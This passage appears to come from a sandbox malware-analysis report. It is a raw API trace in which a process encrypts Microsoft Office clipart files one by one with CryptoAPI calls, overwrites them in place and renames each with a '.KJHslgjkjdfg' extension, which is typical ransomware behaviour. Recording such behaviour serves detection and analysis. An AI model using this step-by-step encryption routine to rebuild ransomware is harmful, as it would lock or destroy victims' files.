out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e8e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0182902.WMF", cAlternateFileName="")) returned 1 [0196.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.777] GetProcessHeap () returned 0x990000 [0196.777] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.777] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.777] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0196.780] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.780] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.780] GetProcessHeap () returned 0x990000 [0196.780] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.780] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.780] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.780] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.780] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.780] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.780] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.780] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.781] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.781] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.781] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1e8e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1e8e, lpOverlapped=0x0) returned 1 [0196.781] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e90, dwBufLen=0x1e90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e90) returned 1 [0196.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.782] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1e90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1e90, lpOverlapped=0x0) returned 1 [0196.782] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.782] SetEndOfFile (hFile=0x130) returned 1 [0196.785] GetProcessHeap () returned 0x990000 [0196.785] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.785] GetProcessHeap () returned 0x990000 [0196.785] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.785] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf.kjhslgjkjdfg")) returned 1 [0196.786] CloseHandle (hObject=0x130) returned 1 [0196.786] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21290a00, ftCreationTime.dwHighDateTime=0x1bdf6f5, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21290a00, ftLastWriteTime.dwHighDateTime=0x1bdf6f5, nFileSizeHigh=0x0, nFileSizeLow=0x3ed2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0182946.WMF", cAlternateFileName="")) returned 1 [0196.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.787] GetProcessHeap () returned 0x990000 [0196.787] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.787] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.787] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.787] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0196.793] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.793] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.793] GetProcessHeap () returned 0x990000 [0196.793] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.793] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.793] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.793] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.793] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.793] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.793] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.793] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.793] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.794] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.794] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.794] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3ed2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3ed2, lpOverlapped=0x0) returned 1 [0196.797] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ee0, dwBufLen=0x3ee0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ee0) returned 1 [0196.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.797] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3ee0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3ee0, lpOverlapped=0x0) returned 1 [0196.798] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.798] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3fb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.798] SetEndOfFile (hFile=0x130) returned 1 [0196.800] GetProcessHeap () returned 0x990000 [0196.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.801] GetProcessHeap () returned 0x990000 [0196.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.801] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf.kjhslgjkjdfg")) returned 1 [0196.802] CloseHandle (hObject=0x130) returned 1 [0196.802] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x745c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0183172.WMF", cAlternateFileName="")) returned 1 [0196.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.804] GetProcessHeap () returned 0x990000 [0196.804] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.804] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.804] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.810] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.810] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.810] GetProcessHeap () returned 0x990000 [0196.810] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.810] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.810] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.810] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.810] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.810] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.810] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.810] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.810] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.811] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.811] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.811] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x745c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x745c, lpOverlapped=0x0) returned 1 [0196.813] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7460, dwBufLen=0x7460 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7460) returned 1 [0196.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.813] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7460, lpOverlapped=0x0) returned 1 [0196.813] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.814] SetEndOfFile (hFile=0x130) returned 1 [0196.816] GetProcessHeap () returned 0x990000 [0196.816] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.816] GetProcessHeap () returned 0x990000 [0196.816] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.817] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf.kjhslgjkjdfg")) returned 1 [0196.818] CloseHandle (hObject=0x130) returned 1 [0196.818] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6fd2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0183174.WMF", cAlternateFileName="")) returned 1 [0196.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.819] GetProcessHeap () returned 0x990000 [0196.819] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.819] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.819] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0196.826] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.826] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.826] GetProcessHeap () returned 0x990000 [0196.826] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.826] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.826] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.826] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.826] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.826] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.826] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.827] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.827] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.827] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.827] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.827] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.827] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6fd2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6fd2, lpOverlapped=0x0) returned 1 [0196.833] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6fe0, dwBufLen=0x6fe0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6fe0) returned 1 [0196.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.833] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6fe0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6fe0, lpOverlapped=0x0) returned 1 [0196.834] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.834] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x70b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.834] SetEndOfFile (hFile=0x130) returned 1 [0196.837] GetProcessHeap () returned 0x990000 [0196.837] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.837] GetProcessHeap () returned 0x990000 [0196.837] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.837] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf.kjhslgjkjdfg")) returned 1 [0196.838] CloseHandle (hObject=0x130) returned 1 [0196.838] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f6e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0183198.WMF", cAlternateFileName="")) returned 1 [0196.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.839] GetProcessHeap () returned 0x990000 [0196.839] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.839] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.839] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0196.846] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, 